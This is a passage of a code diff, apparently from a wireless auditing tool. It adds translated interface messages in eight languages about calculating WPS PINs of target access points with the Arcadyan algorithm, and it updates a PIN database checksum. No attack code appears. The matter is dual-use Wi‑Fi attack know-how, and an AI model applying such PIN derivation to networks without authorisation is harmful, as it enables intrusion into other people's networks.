the scan again to calculate the Arcadyan algorithm PIN. This has already been done in this session" + arr["SPANISH",503]="No es necesario realizar de nuevo el escaneo para calcular el PIN del algoritmo Arcadyan. Ya se realizó anteriormente en esta sesión" + arr["FRENCH",503]="Il n'est pas nécessaire d'effectuer de nouveau un scan pour calculer le PIN de l'algorithme Arcadyan. Déjà fait dans cette session" + arr["CATALAN",503]="No cal realitzar de nou l'escaneig per calcular el PIN de l'algoritme Arcadyan. Ja es va realitzar anteriorment en aquesta sessió" + arr["PORTUGUESE",503]="Não é necessário executar uma verificação novamente para calcular o PIN com algoritmo Arcadyan. Isso já foi feito nesta sessão" + arr["RUSSIAN",503]="Нет необходимости снова выполнять сканирование, чтобы вычислить PIN-код алгоритмом Arcadyan. Это уже сделано ранее в ходе этой сессии" + arr["GREEK",503]="Δεν είναι απαραίτητο να εκτελέσετε ξανά το scan για να υπολογίσετε το PIN χρησιμοποιώντας τον Arcadyan αλγόριθμο. Έχει ήδη πραγματοποιηθεί σε αυτή τη συνεδρία" + arr["ITALIAN",503]="Non è necessario eseguire nuovamente la scansione per calcolare il PIN dell'algoritmo Arcadyan. È già stato fatto in precedenza in questa sessione" + + arr["ENGLISH",504]="${blue_color}This PIN calculation process is not entirely offline. A complete \"probe\" response is required from the target access point to obtain a necessary data. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" + arr["SPANISH",504]="${blue_color}Este proceso de cálculo de PIN no es puramente offline. Hace falta una respuesta \"probe\" completa del punto de acceso objetivo para obtener un dato necesario. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" + arr["FRENCH",504]="${blue_color}Ce processus de calcul du PIN n'est pas entièrement offline. Une réponse \"probe\" complète est requise part le point d'accès ciblés pour obtenir les données nécessaires. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" + arr["CATALAN",504]="${blue_color}Aquest procés de càlcul de PIN no és purament offline. Cal una resposta \"probe\" completa del punt d'accés objectiu per obtenir una dada necessaria. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",504]="${blue_color}Este processo de cálculo do PIN não é totalmente offline. É necessária uma resposta de \"probe\" completa do ponto de acesso alvo para obter os dados necessários. ${green_color}Você deseja continuar? ${normal_color}${visual_choice}" + arr["RUSSIAN",504]="${blue_color}Этот процесс расчета PIN-кода не является чисто офлайн. От целевой точки доступа требуется полный запрос \"probe\" для получения необходимых данных. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" + arr["GREEK",504]="${blue_color}Αυτή η διαδικασία υπολογισμού PIN δεν είναι καθ' αυτοὺ offline. Απαιτείται ένα ολοκληρωμένο \"probe\" response από το σημείο πρόσβασης για να ληφθούν τα απαραίτητα δεδομένα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" + arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index f8dcfd2ae..91fb598b8 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -338e2ae549e2dab161bee39734046ceb +a1ef329048cc07cada62bb4f43066ed3